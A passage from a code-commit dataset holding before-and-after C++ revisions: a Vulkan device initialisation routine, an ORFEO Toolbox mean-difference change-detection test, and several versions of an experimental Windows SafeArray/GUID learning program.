0, 0);\n\t\tappInfo.apiVersion = VK_API_VERSION_1_0;\n\n\t\tVkInstanceCreateInfo createInfo = {};\n\t\tcreateInfo.sType = VK_STRUCTURE_TYPE_INSTANCE_CREATE_INFO;\n\t\tcreateInfo.flags = 0;\n\t\tcreateInfo.pApplicationInfo = &appInfo;\n\t\tcreateInfo.enabledExtensionCount = static_cast<uint32_t>(requiredExtensions.size());\n\t\tcreateInfo.ppEnabledExtensionNames = requiredExtensions.data();\n\t\tif (validationLayersEnabled)\n\t\t{\n\t\t\tcreateInfo.enabledLayerCount = static_cast<uint32_t>(validationLayers.size());\n\t\t\tcreateInfo.ppEnabledLayerNames = validationLayers.data();\n\t\t}\n\t\telse\n\t\t\tcreateInfo.enabledLayerCount = 0;\n\n\t\t\/\/finally create vulkan instance\n\t\tresult = vkCreateInstance(&createInfo, mAllocCallback, &mInstance);\n\n\t\tif (result != VK_SUCCESS)\n\t\t{\n\t\t\tstd::printf(\"vkCreateInstance failed\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/setup debug callback if validation layers enabled\n\t\tif (validationLayersEnabled)\n\t\t{\n\t\t\tVkDebugReportCallbackCreateInfoEXT debugCreateInfo = {};\n\t\t\tdebugCreateInfo.sType = VK_STRUCTURE_TYPE_DEBUG_REPORT_CALLBACK_CREATE_INFO_EXT;\n\t\t\tdebugCreateInfo.flags = VK_DEBUG_REPORT_ERROR_BIT_EXT | VK_DEBUG_REPORT_WARNING_BIT_EXT | VK_DEBUG_REPORT_PERFORMANCE_WARNING_BIT_EXT;\n\t\t\tdebugCreateInfo.pfnCallback = vkutils::debugCallback;\n\n\t\t\tauto debugReportFunc = (PFN_vkCreateDebugReportCallbackEXT)vkGetInstanceProcAddr(mInstance, \"vkCreateDebugReportCallbackEXT\");\n\t\t\tif (debugReportFunc != nullptr)\n\t\t\t{\n\t\t\t\tresult = debugReportFunc(mInstance, &debugCreateInfo, mAllocCallback, &mDebugCallback);\n\n\t\t\t\tif (result != VK_SUCCESS)\n\t\t\t\t{\n\t\t\t\t\tstd::printf(\"vkCreateDebugReportCallbackEXT failed\\n\");\n\t\t\t\t\treturn false;\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tstd::printf(\"Failed to retrieve vkCreateDebugReportCallbackEXT address. Debug callbacks will be disabled\\n\");\n\t\t\t\tvalidationLayersEnabled = false;\n\t\t\t}\n\t\t}\n\n\t\t\/\/create window surface\n\t\tresult = glfwCreateWindowSurface(mInstance, static_cast<GLFWwindow*>(glfwWinHandle), mAllocCallback, &mSurface);\n\t\tif (result != VK_SUCCESS)\n\t\t{\n\t\t\tstd::printf(\"Failed to create vulkan window surface\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/find physical devices\n\t\tuint32_t numDevices = 0;\n\t\tresult = vkEnumeratePhysicalDevices(mInstance, &numDevices, nullptr);\n\t\tif (result != VK_SUCCESS || numDevices == 0)\n\t\t{\n\t\t\tstd::printf(\"vkEnumeratePhysicalDevices failed\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\tstd::vector<VkPhysicalDevice> physicalDevices(numDevices);\n\t\tresult = vkEnumeratePhysicalDevices(mInstance, &numDevices, physicalDevices.data());\n\t\tif (result != VK_SUCCESS)\n\t\t{\n\t\t\tstd::printf(\"vkEnumeratePhysicalDevices failed\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/get our queue index and hopefully find an acceptable device\n\t\tfor (const auto &device : physicalDevices)\n\t\t{\n\t\t\t\/\/break on first acceptable device\n\t\t\tif (vkutils::checkPhysicalDevice(device, mSurface, mGraphicsQueueIndex))\n\t\t\t{\n\t\t\t\tmPhysicalDevice = device;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif (mGraphicsQueueIndex == UINT32_MAX)\n\t\t{\n\t\t\tstd::printf(\"Failed to find suitable graphics queue\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\tif (mPhysicalDevice == VK_NULL_HANDLE)\n\t\t{\n\t\t\tstd::printf(\"Failed to select a physical device\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/print some information about our physical device\n\t\tvkutils::printDeviceInfo(mPhysicalDevice);\n\n\t\t\/\/create logical device\n\t\tstd::vector<VkDeviceQueueCreateInfo> queueCreateInfos;\n\t\tfloat queuePriority = 1.0f;\n\t\tVkDeviceQueueCreateInfo queueCreateInfo = {};\n\t\tqueueCreateInfo.sType = VK_STRUCTURE_TYPE_DEVICE_QUEUE_CREATE_INFO;\n\t\tqueueCreateInfo.flags = 0;\n\t\tqueueCreateInfo.queueFamilyIndex = mGraphicsQueueIndex;\n\t\tqueueCreateInfo.queueCount = 1;\n\t\tqueueCreateInfo.pQueuePriorities = &queuePriority;\n\t\tqueueCreateInfos.push_back(queueCreateInfo);\n\n\t\t\/\/need swap chain extension - this extension is already checked above with checkPhysicalDevice, no need to check again\n\t\tstd::vector<const char*> requiredDeviceExtensions = { VK_KHR_SWAPCHAIN_EXTENSION_NAME };\n\n\t\tVkDeviceCreateInfo deviceCreateInfo = {};\n\t\tdeviceCreateInfo.sType = VK_STRUCTURE_TYPE_DEVICE_CREATE_INFO;\n\t\tdeviceCreateInfo.flags = 0;\n\t\tdeviceCreateInfo.enabledExtensionCount = static_cast<uint32_t>(requiredDeviceExtensions.size());\n\t\tdeviceCreateInfo.ppEnabledExtensionNames = requiredDeviceExtensions.data();\n\t\tdeviceCreateInfo.queueCreateInfoCount = 1;\n\t\tdeviceCreateInfo.pQueueCreateInfos = queueCreateInfos.data();\n\t\tdeviceCreateInfo.queueCreateInfoCount = static_cast<uint32_t>(queueCreateInfos.size());\n\n\t\tdeviceCreateInfo.enabledLayerCount = 0;\n\t\tif (validationLayersEnabled)\n\t\t{\n\t\t\tdeviceCreateInfo.enabledLayerCount = static_cast<uint32_t>(validationLayers.size());\n\t\t\tdeviceCreateInfo.ppEnabledLayerNames = validationLayers.data();\n\t\t}\n\n\t\t\/\/create vulkan device\n\t\t\/\/todo: for some reason this is creating vkCreateSampler errors here, find out why because we are not calling that function.\n\t\t\/\/happens on both intel\/nv drivers and also happens with lunarg demo, possible lunarg debug layer bug??\n\t\tresult = vkCreateDevice(mPhysicalDevice, &deviceCreateInfo, mAllocCallback, &mDevice);\n\t\tif (result != VK_SUCCESS)\n\t\t{\n\t\t\tstd::printf(\"vkCreateDevice failed\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\t\/\/grab graphics queue handle\n\t\tvkGetDeviceQueue(mDevice, mGraphicsQueueIndex, 0, &mGraphicsQueue);\n\n\t\tif (!mGraphicsQueue)\n\t\t{\n\t\t\tstd::printf(\"Failed to retrieve graphics queue\\n\");\n\t\t\treturn false;\n\t\t}\n\n\t\treturn true;\n\t}\n\n\tShaderHandle VulkanGraphicsDevice::createShader(const std::vector<ShaderDetails> &shaders)\n\t{\n\t\treturn InvalidHandle;\n\t}\n\n\tBufferHandle VulkanGraphicsDevice::createBuffer(BufferType type, BufferUsageHint hint, size_t dataSize, float *data)\n\t{\n\t\treturn InvalidHandle;\n\t}\n\n\tLayoutHandle VulkanGraphicsDevice::createVertexInputLayout(const std::vector<VertexInputLayout> &attributes)\n\t{\n\t\treturn InvalidHandle;\n\t}\n\n\tVertexArrayHandle VulkanGraphicsDevice::createVAO(LayoutHandle layout, BufferHandle vertexBuffer, BufferHandle indexBuffer)\n\t{\n\t\treturn InvalidHandle;\n\t}\n\n\tvoid VulkanGraphicsDevice::bindConstantBuffer(ShaderHandle shader, BufferHandle cBuffer, int32_t index)\n\t{\n\t}\n\n\tvoid VulkanGraphicsDevice::deleteVertexInputLayout(LayoutHandle handle)\n\t{\n\t}\n\n\tvoid VulkanGraphicsDevice::deleteVAO(VertexArrayHandle handle)\n\t{\n\t}\n\n\tvoid VulkanGraphicsDevice::deleteBuffer(BufferHandle handle)\n\t{\n\t}\n\n\tvoid VulkanGraphicsDevice::deleteShader(ShaderHandle handle)\n\t{\n\t}\n\n\tvoid VulkanGraphicsDevice::submitCommandQueue(CommandQueue *cmdQueue)\n\t{\n\t}\n\n\tvoid VulkanGraphicsDevice::present()\n\t{\n\t}\n}<|endoftext|>"} {"text":"<commit_before>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#include \"otbImageFileReader.h\"\n#include \"otbImageFileWriter.h\"\n#include \"itkRescaleIntensityImageFilter.h\"\n#include \"otbImage.h\"\n#include \"otbMeanDifferenceImageFilter.h\"\n#include \"otbCommandProgressUpdate.h\"\n\nint otbMeanDiffChangeDetectionTest(int argc, char* argv[] )\n{\n\n if ( argc < 5 )\n {\n std::cerr << \"Usage: \" << std::endl;\n std::cerr << argv[0] << \" inputImageFile1 inputImageFile2 radius outputImageFile \" << std::endl;\n return -1;\n }\n\n \/\/ Define the dimension of the images\n const unsigned int Dimension = 2;\n\n \/\/ Declare the types of the images\n typedef double InternalPixelType;\n typedef double OutputPixelType;\n typedef otb::Image<InternalPixelType, Dimension> InputImageType1;\n typedef otb::Image<InternalPixelType, Dimension> InputImageType2;\n typedef otb::Image<InternalPixelType, Dimension> ChangeImageType;\n typedef otb::Image<OutputPixelType, Dimension> OutputImageType;\n\n typedef otb::ImageFileReader< InputImageType1 > ReaderType1;\n typedef otb::ImageFileReader< InputImageType2 > ReaderType2;\n typedef otb::ImageFileWriter< OutputImageType > WriterType;\n typedef itk::RescaleIntensityImageFilter< ChangeImageType,\n OutputImageType > RescalerType;\n\n\n\n \/\/ Declare the type for the filter\n typedef otb::MeanDifferenceImageFilter<\n InputImageType1,\n InputImageType2,\n ChangeImageType > FilterType;\n\n\n ReaderType1::Pointer reader1 = ReaderType1::New();\n ReaderType2::Pointer reader2 = ReaderType2::New();\n WriterType::Pointer writer = WriterType::New();\n FilterType::Pointer filter = FilterType::New();\n RescalerType::Pointer rescaler = RescalerType::New();\n\n const char * inputFilename1 = argv[1];\n const char * inputFilename2 = argv[2];\n const char * outputFilename = argv[4];\n\n reader1->SetFileName( inputFilename1 );\n reader2->SetFileName( inputFilename2 );\n writer->SetFileName( outputFilename );\n rescaler->SetOutputMinimum( 0 );\n rescaler->SetOutputMaximum( 255 );\n\n filter->SetInput1( reader1->GetOutput() );\n filter->SetInput2( reader2->GetOutput() );\n filter->SetRadius( atoi(argv[3]) );\n\n rescaler->SetInput( filter->GetOutput() );\n writer->SetInput( rescaler->GetOutput() );\n\n\n typedef otb::CommandProgressUpdate<FilterType> CommandType;\n\n CommandType::Pointer observer = CommandType::New();\n filter->AddObserver(itk::ProgressEvent(), observer);\n\n\n writer->Update();\n\n\n return EXIT_SUCCESS;\n\n}\n\n\n\n\n<commit_msg>ENH : revert changes on meandiff test<commit_after>\/*=========================================================================\n\n Program: ORFEO Toolbox\n Language: C++\n Date: $Date$\n Version: $Revision$\n\n\n Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n See OTBCopyright.txt for details.\n\n\n This software is distributed WITHOUT ANY WARRANTY; without even\n the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n PURPOSE. See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#include \"otbImageFileReader.h\"\n#include \"otbImageFileWriter.h\"\n#include \"itkRescaleIntensityImageFilter.h\"\n#include \"otbImage.h\"\n#include \"otbMeanDifferenceImageFilter.h\"\n#include \"otbCommandProgressUpdate.h\"\n\nint otbMeanDiffChangeDetectionTest(int argc, char* argv[] )\n{\n\n if ( argc < 5 )\n {\n std::cerr << \"Usage: \" << std::endl;\n std::cerr << argv[0] << \" inputImageFile1 inputImageFile2 radius outputImageFile \" << std::endl;\n return -1;\n }\n\n \/\/ Define the dimension of the images\n const unsigned int Dimension = 2;\n\n \/\/ Declare the types of the images\n typedef double InternalPixelType;\n typedef double OutputPixelType;\n typedef otb::Image<InternalPixelType, Dimension> InputImageType1;\n typedef otb::Image<InternalPixelType, Dimension> InputImageType2;\n typedef otb::Image<InternalPixelType, Dimension> ChangeImageType;\n typedef otb::Image<OutputPixelType, Dimension> OutputImageType;\n\n typedef otb::ImageFileReader< InputImageType1 > ReaderType1;\n typedef otb::ImageFileReader< InputImageType2 > ReaderType2;\n typedef otb::ImageFileWriter< OutputImageType > WriterType;\n typedef itk::RescaleIntensityImageFilter< ChangeImageType,\n OutputImageType > RescalerType;\n\n\n\n \/\/ Declare the type for the filter\n typedef otb::MeanDifferenceImageFilter<\n InputImageType1,\n InputImageType2,\n ChangeImageType > FilterType;\n\n\n ReaderType1::Pointer reader1 = ReaderType1::New();\n ReaderType2::Pointer reader2 = ReaderType2::New();\n WriterType::Pointer writer = WriterType::New();\n FilterType::Pointer filter = FilterType::New();\n RescalerType::Pointer rescaler = RescalerType::New();\n\n const char * inputFilename1 = argv[1];\n const char * inputFilename2 = argv[2];\n const char * outputFilename = argv[4];\n\n reader1->SetFileName( inputFilename1 );\n reader2->SetFileName( inputFilename2 );\n writer->SetFileName( outputFilename );\n rescaler->SetOutputMinimum( -1 );\n rescaler->SetOutputMaximum( 1 );\n\n filter->SetInput1( reader1->GetOutput() );\n filter->SetInput2( reader2->GetOutput() );\n filter->SetRadius( atoi(argv[3]) );\n\n rescaler->SetInput( filter->GetOutput() );\n writer->SetInput( rescaler->GetOutput() );\n\n\n typedef otb::CommandProgressUpdate<FilterType> CommandType;\n\n CommandType::Pointer observer = CommandType::New();\n filter->AddObserver(itk::ProgressEvent(), observer);\n\n\n writer->Update();\n\n\n return EXIT_SUCCESS;\n\n}\n\n\n\n\n<|endoftext|>"} {"text":"<commit_before>\/\/ SafeArryGUID.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n#include <objbase.h>\n#include <string>\n#include<atlsafe.h>\n#include<iostream>\nusing namespace std;\n\nstring GuidToString(const GUID &guid)\n{\n\tchar buf[64] = { 0 };\n\tsprintf_s(buf, sizeof(buf), \"{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}\",\n\t\tguid.Data1, guid.Data2, guid.Data3,\n\t\tguid.Data4[0], guid.Data4[1],\n\t\tguid.Data4[2], guid.Data4[3],\n\t\tguid.Data4[4], guid.Data4[5],\n\t\tguid.Data4[6], guid.Data4[7]);\n\treturn string(buf);\n}\n\nvoid Put1GuidInSafeArry()\n{\n\tGUID guid;\n\tCoCreateGuid(&guid);\n\n\tauto guidStri = GuidToString(guid);\n\n\tcout << guidStri << endl;\n\n\t\/\/TODO... put the guid into safearry..\n\tSAFEARRAY* p_safe_arry;\n\tSAFEARRAYBOUND safe_arry_bound[2] = { 0 };\n\tauto guidsize = sizeof(GUID);\n\tsafe_arry_bound[0].cElements = guidsize;\n\tsafe_arry_bound[0].lLbound = 0;\n\tsafe_arry_bound[1].cElements = guidsize;\n\tsafe_arry_bound[1].lLbound = 0;\n\n\tp_safe_arry = SafeArrayCreate(VT_ARRAY, 1, safe_arry_bound);\n\tauto pnData = reinterpret_cast<char*>(p_safe_arry->pvData);\n\tmemcpy_s(pnData, guidsize, guidStri.c_str(), guidsize);\n\t\/\/TODO...\n\t\/\/do something..\n\tSafeArrayDestroy(p_safe_arry);\n}\n\nvoid Put2GuidInSafeArry()\n{\n\tGUID guid, guid2;\n\tCoCreateGuid(&guid);\n\tCoCreateGuid(&guid2);\n\n\t\/\/TODO... put the guid into safearry..\n\tSAFEARRAY* p_safe_arry;\n\tSAFEARRAYBOUND safe_arry_bound[2] = { 0 };\n\tsafe_arry_bound[0].cElements = 2;\n\tsafe_arry_bound[0].lLbound = 0;\n\tsafe_arry_bound[1].cElements = 16;\n\tsafe_arry_bound[1].lLbound = 0;\n\n\tp_safe_arry = SafeArrayCreate(VT_CLSID, 2, safe_arry_bound);\n\tauto pnData = reinterpret_cast<GUID*>(p_safe_arry->pvData);\n\tpnData[0] = guid;\n\tpnData[1] = guid2;\n\t\/\/TODO...\n\t\/\/do something..\n\t\/\/TODO...\n\n\tSafeArrayDestroy(p_safe_arry);\n}\n\nvoid Put1GuidInSafeArryByStack()\n{\n\tGUID guid;\n\n\t\/\/TODO... put the guid into safearry..\n\tSAFEARRAY* pArray = nullptr;\n\tauto hr = SafeArrayAllocDescriptorEx(VT_CLSID, 1, &pArray);\n\tpArray->cbElements = sizeof(GUID);\n\tpArray->rgsabound[0].cElements = 1;\n\tpArray->rgsabound[0].lLbound = 16;\n\tpArray->pvData = &guid;\n\tpArray->fFeatures = FADF_AUTO;\n\t\/\/_bstr_t bstr;\n}\n\nvoid CComSafeArrayGUID()\n{\n\t\/\/CComSafeArray<GUID> comsafeguid(10);\n}\n\nvoid LearnSafeArray()\n{\n\tSAFEARRAY *pArray = nullptr;\n\tHRESULT hr = SafeArrayAllocDescriptor(1, &pArray);\/\/SAFEARRAYṹĶ\n\tpArray->cbElements = sizeof(GUID);\n\tpArray->rgsabound[0].cElements = 10;\n\tpArray->rgsabound[0].lLbound = 0;\n\n\tGUID guid, guid2;\n\tCoCreateGuid(&guid);\n\tCoCreateGuid(&guid2);\n\tGUID _guidarr[] = { guid,guid2 };\n\tpArray->pvData = _guidarr;\n\tpArray->fFeatures = FADF_AUTO | FADF_FIXEDSIZE;\n\n\t\/\/CComSafeArray<VARIANT> saguid;\n\/\/\tsaguid.Attach(pArray);\n\n\t\/\/auto count = saguid.GetCount();\n\n\t\/\/auto t = saguid.GetType();\n\n\tGUID* p_GUIDArry = nullptr;\n\tSafeArrayAccessData(pArray, (PVOID*)&p_GUIDArry);\n\n\tauto retv = p_GUIDArry[0];\n\tauto retv1 = p_GUIDArry[1];\n\n\tlong Low(0), High(0);\n\thr = SafeArrayGetLBound(pArray, 1, &Low);\/\/ά1ʼ\n\thr = SafeArrayGetUBound(pArray, 1, &High);\/\/ά1ʼ\n\n\tSafeArrayUnaccessData(pArray);\n\tSafeArrayDestroy(pArray);\n\n\tcin.get();\n}\n\nvoid TestSafeArry()\n{\n\tLearnSafeArray();\n\t\/\/CComSafeArrayBound bound(2);\n\t\/\/CComSafeArray<GUID> guid_Array;\n\t\/\/GUID guid, guid2;\n\t\/\/CoCreateGuid(&guid);\n\t\/\/CoCreateGuid(&guid2);\n\t\/\/guid_Array.Add(guid);\n\t\/\/guid_Array.Add(guid2);\n\n\t\/\/auto count = guid_Array.GetCount();\n\t\/\/auto demention = guid_Array.GetDimensions();\n\t\/\/auto upperbound = guid_Array.GetUpperBound();\n\t\/\/auto p_safeArry = &guid_Array;\n\t\/\/GUID guid3;\n\t\/\/CoCreateGuid(&guid3);\n\t\/\/p_safeArry->SetAt(1, guid3);\n}\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\tTestSafeArry();\n\tPut1GuidInSafeArry();\n\tPut2GuidInSafeArry();\n\tPut1GuidInSafeArryByStack();\n\treturn 0;\n}<commit_msg>update GUID using...<commit_after>\/\/ SafeArryGUID.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n#include <objbase.h>\n#include <string>\n#include<atlsafe.h>\n#include<iostream>\nusing namespace std;\n\nstring GuidToString(const GUID &guid)\n{\n\tchar buf[64] = { 0 };\n\tsprintf_s(buf, sizeof(buf), \"{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}\",\n\t\tguid.Data1, guid.Data2, guid.Data3,\n\t\tguid.Data4[0], guid.Data4[1],\n\t\tguid.Data4[2], guid.Data4[3],\n\t\tguid.Data4[4], guid.Data4[5],\n\t\tguid.Data4[6], guid.Data4[7]);\n\treturn string(buf);\n}\n\nvoid Put1GuidInSafeArry()\n{\n\tGUID guid;\n\tCoCreateGuid(&guid);\n\n\tauto guidStri = GuidToString(guid);\n\n\tcout << guidStri << endl;\n\n\t\/\/TODO... put the guid into safearry..\n\tSAFEARRAY* p_safe_arry;\n\tSAFEARRAYBOUND safe_arry_bound[2] = { 0 };\n\tauto guidsize = sizeof(GUID);\n\tsafe_arry_bound[0].cElements = guidsize;\n\tsafe_arry_bound[0].lLbound = 0;\n\tsafe_arry_bound[1].cElements = guidsize;\n\tsafe_arry_bound[1].lLbound = 0;\n\n\tp_safe_arry = SafeArrayCreate(VT_ARRAY, 1, safe_arry_bound);\n\tauto pnData = reinterpret_cast<char*>(p_safe_arry->pvData);\n\tmemcpy_s(pnData, guidsize, guidStri.c_str(), guidsize);\n\t\/\/TODO...\n\t\/\/do something..\n\tSafeArrayDestroy(p_safe_arry);\n}\n\nvoid Put2GuidInSafeArry()\n{\n\tGUID guid, guid2;\n\tCoCreateGuid(&guid);\n\tCoCreateGuid(&guid2);\n\n\t\/\/TODO... put the guid into safearry..\n\tSAFEARRAY* p_safe_arry;\n\tSAFEARRAYBOUND safe_arry_bound[1] = { 0 };\n\tsafe_arry_bound[0].cElements = 5;\n\tsafe_arry_bound[0].lLbound = 0;\n\n\tp_safe_arry = SafeArrayCreate(VT_VARIANT, 1, safe_arry_bound);\n\n\tlong Low(0), High(0);\n\tSafeArrayGetLBound(p_safe_arry, 1, &Low);\n\tSafeArrayGetUBound(p_safe_arry, 1, &High);\n\n\t\/\/\/\/p_safe_arry->cbElements = sizeof(GUID);\n\t\/\/long lDimension;\n\t\/\/lDimension = 0;\n\t\/\/SafeArrayPutElement(p_safe_arry, &lDimension, &guid);\n\t\/\/lDimension = 1;\n\n\t\/\/SafeArrayPutElement(p_safe_arry, &lDimension, &guid2);\n\t\/\/\/\/TODO...\n\t\/\/GUID guidout = { 0 };\n\t\/\/SafeArrayGetElement(p_safe_arry, &lDimension, &guidout);\n\n\tGUID* pData = NULL;\n\tHRESULT hr = SafeArrayAccessData(p_safe_arry, (void**)&pData);\n\tpData[0] = guid;\n\tpData[1] = guid2;\n\t\/\/TODO...\n\tSafeArrayUnaccessData(p_safe_arry);\n\tSafeArrayDestroy(p_safe_arry);\n}\n\nvoid Put1GuidInSafeArryByStack()\n{\n\tGUID guid;\n\n\t\/\/TODO... put the guid into safearry..\n\tSAFEARRAY* pArray = nullptr;\n\tauto hr = SafeArrayAllocDescriptorEx(VT_CLSID, 1, &pArray);\n\tpArray->cbElements = sizeof(GUID);\n\tpArray->rgsabound[0].cElements = 1;\n\tpArray->rgsabound[0].lLbound = 16;\n\tpArray->pvData = &guid;\n\tpArray->fFeatures = FADF_AUTO;\n\t\/\/_bstr_t bstr;\n}\n\nvoid CComSafeArrayGUID()\n{\n\t\/\/CComSafeArray<GUID> comsafeguid(10);\n}\n\nvoid LearnSafeArray()\n{\n\tSAFEARRAY *pArray = nullptr;\n\tHRESULT hr = SafeArrayAllocDescriptor(1, &pArray);\/\/SAFEARRAYṹĶ\n\tpArray->cbElements = sizeof(GUID);\n\tpArray->rgsabound[0].cElements = 10;\n\tpArray->rgsabound[0].lLbound = 0;\n\n\tGUID guid, guid2;\n\tCoCreateGuid(&guid);\n\tCoCreateGuid(&guid2);\n\tGUID _guidarr[] = { guid,guid2 };\n\tpArray->pvData = _guidarr;\n\tpArray->fFeatures = FADF_AUTO | FADF_FIXEDSIZE;\n\n\t\/\/CComSafeArray<VARIANT> saguid;\n\/\/\tsaguid.Attach(pArray);\n\n\t\/\/auto count = saguid.GetCount();\n\n\t\/\/auto t = saguid.GetType();\n\n\tGUID* p_GUIDArry = nullptr;\n\tSafeArrayAccessData(pArray, (PVOID*)&p_GUIDArry);\n\n\tauto retv = p_GUIDArry[0];\n\tauto retv1 = p_GUIDArry[1];\n\n\tlong Low(0), High(0);\n\thr = SafeArrayGetLBound(pArray, 1, &Low);\/\/ά1ʼ\n\thr = SafeArrayGetUBound(pArray, 1, &High);\/\/ά1ʼ\n\n\tSafeArrayUnaccessData(pArray);\n\tSafeArrayDestroy(pArray);\n\n\t\/\/\tcin.get();\n}\n\nvoid TestSafeArry()\n{\n\tLearnSafeArray();\n\t\/\/CComSafeArrayBound bound(2);\n\t\/\/CComSafeArray<GUID> guid_Array;\n\t\/\/GUID guid, guid2;\n\t\/\/CoCreateGuid(&guid);\n\t\/\/CoCreateGuid(&guid2);\n\t\/\/guid_Array.Add(guid);\n\t\/\/guid_Array.Add(guid2);\n\n\t\/\/auto count = guid_Array.GetCount();\n\t\/\/auto demention = guid_Array.GetDimensions();\n\t\/\/auto upperbound = guid_Array.GetUpperBound();\n\t\/\/auto p_safeArry = &guid_Array;\n\t\/\/GUID guid3;\n\t\/\/CoCreateGuid(&guid3);\n\t\/\/p_safeArry->SetAt(1, guid3);\n}\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\tTestSafeArry();\n\t\/\/Put1GuidInSafeArry();\n\tPut2GuidInSafeArry();\n\tPut1GuidInSafeArryByStack();\n\treturn 0;\n}<|endoftext|>"} {"text":"<commit_before>\/\/ SafeArryGUID.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n#include <objbase.h>\n#include <string>\n#include<atlsafe.h>\n#include<iostream>\nusing namespace std;\n\nstring GuidToString(const GUID &guid)\n{\n\tchar buf[64] = { 0 };\n\tsprintf_s(buf, sizeof(buf), \"{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}\",\n\t\tguid.Data1, guid.Data2, guid.Data3,\n\t\tguid.Data4[0], guid.Data4[1],\n\t\tguid.Data4[2], guid.Data4[3],\n\t\tguid.Data4[4], guid.Data4[5],\n\t\tguid.Data4[6], guid.Data4[7]);\n\treturn string(buf);\n}\n\nvoid Put1GuidInSafeArry()\n{\n\tGUID guid;\n\tCoCreateGuid(&guid);\n\n\tauto guidStri = GuidToString(guid);\n\n\tcout << guidStri << endl;\n\n\t\/\/TODO... put the guid into safearry..\n\tSAFEARRAY* p_safe_arry;\n\tSAFEARRAYBOUND safe_arry_bound[2] = { 0 };\n\tauto guidsize = sizeof(GUID);\n\tsafe_arry_bound[0].cElements = guidsize;\n\tsafe_arry_bound[0].lLbound = 0;\n\tsafe_arry_bound[1].cElements = guidsize;\n\tsafe_arry_bound[1].lLbound = 0;\n\n\tp_safe_arry = SafeArrayCreate(VT_ARRAY, 1, safe_arry_bound);\n\tauto pnData = reinterpret_cast<char*>(p_safe_arry->pvData);\n\tmemcpy_s(pnData, guidsize, guidStri.c_str(), guidsize);\n\t\/\/TODO...\n\t\/\/do something..\n\tSafeArrayDestroy(p_safe_arry);\n}\n\nvoid Put2GuidInSafeArry()\n{\n\tGUID guid, guid2;\n\tCoCreateGuid(&guid);\n\tCoCreateGuid(&guid2);\n\n\t\/\/TODO... put the guid into safearry..\n\tSAFEARRAY* p_safe_arry;\n\tSAFEARRAYBOUND safe_arry_bound[2] = { 0 };\n\tsafe_arry_bound[0].cElements = 2;\n\tsafe_arry_bound[0].lLbound = 0;\n\tsafe_arry_bound[1].cElements = 16;\n\tsafe_arry_bound[1].lLbound = 0;\n\n\tp_safe_arry = SafeArrayCreate(VT_CLSID, 2, safe_arry_bound);\n\tauto pnData = reinterpret_cast<GUID*>(p_safe_arry->pvData);\n\tpnData[0] = guid;\n\tpnData[1] = guid2;\n\t\/\/TODO...\n\t\/\/do something..\n\t\/\/TODO...\n\n\tSafeArrayDestroy(p_safe_arry);\n}\n\nvoid Put1GuidInSafeArryByStack()\n{\n\tGUID guid;\n\n\t\/\/TODO... put the guid into safearry..\n\tSAFEARRAY* pArray = nullptr;\n\tauto hr = SafeArrayAllocDescriptorEx(VT_CLSID, 1, &pArray);\n\tpArray->cbElements = sizeof(GUID);\n\tpArray->rgsabound[0].cElements = 1;\n\tpArray->rgsabound[0].lLbound = 16;\n\tpArray->pvData = &guid;\n\tpArray->fFeatures = FADF_AUTO;\n\t\/\/_bstr_t bstr;\n}\n\nvoid CComSafeArrayGUID()\n{\n\t\/\/CComSafeArray<GUID> comsafeguid(10);\n}\n\nvoid LearnSafeArray()\n{\n\tVARIANT var_Chunk;\n\tSAFEARRAY *psa;\n\tSAFEARRAYBOUND rgsabund[1];\n\n\trgsabund[0].cElements = sizeof(GUID);\n\trgsabund[0].lLbound = 0;\n\n\t\/\/psa = SafeArrayCreate(VT_UI1,1,rgsabund);\n\n\tvar_Chunk.vt = VT_RECORD | VT_ARRAY;\n\t\/\/var_Chunk.parray =\n}\n\nint _tmain(int argc, _TCHAR* argv[])\n{\n\tPut1GuidInSafeArry();\n\tPut1GuidInSafeArry();\n\tPut1GuidInSafeArryByStack();\n\treturn 0;\n}<commit_msg>update<commit_after>\/\/ SafeArryGUID.cpp : Defines the entry point for the console application.\n\/\/\n\n#include \"stdafx.h\"\n#include <objbase.h>\n#include <string>\n#include<atlsafe.h>\n#include<iostream>\nusing namespace std;\n\nstring GuidToString(const GUID &guid)\n{\n\tchar buf[64] = { 0 };\n\tsprintf_s(buf, sizeof(buf), \"{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}\",\n\t\tguid.Data1, guid.Data2, guid.Data3,\n\t\tguid.Data4[0], guid.Data4[1],\n\t\tguid.Data4[2], guid.Data4[3],\n\t\tguid.Data4[4], guid.Data4[5],\n\t\tguid.Data4[6], guid.Data4[7]);\n\treturn string(buf);\n}\n\nvoid Put1GuidInSafeArry()\n{\n\tGUID guid;\n\tCoCreateGuid(&guid);\n\n\tauto guidStri = GuidToString(guid);\n\n\tcout << guidStri << endl;\n\n\t\/\/TODO... put the guid into safearry..\n\tSAFEARRAY* p_safe_arry;\n\tSAFEARRAYBOUND safe_arry_bound[2] = { 0 };\n\tauto guidsize = sizeof(GUID);\n\tsafe_arry_bound[0].cElements = guidsize;\n\tsafe_arry_bound[0].lLbound = 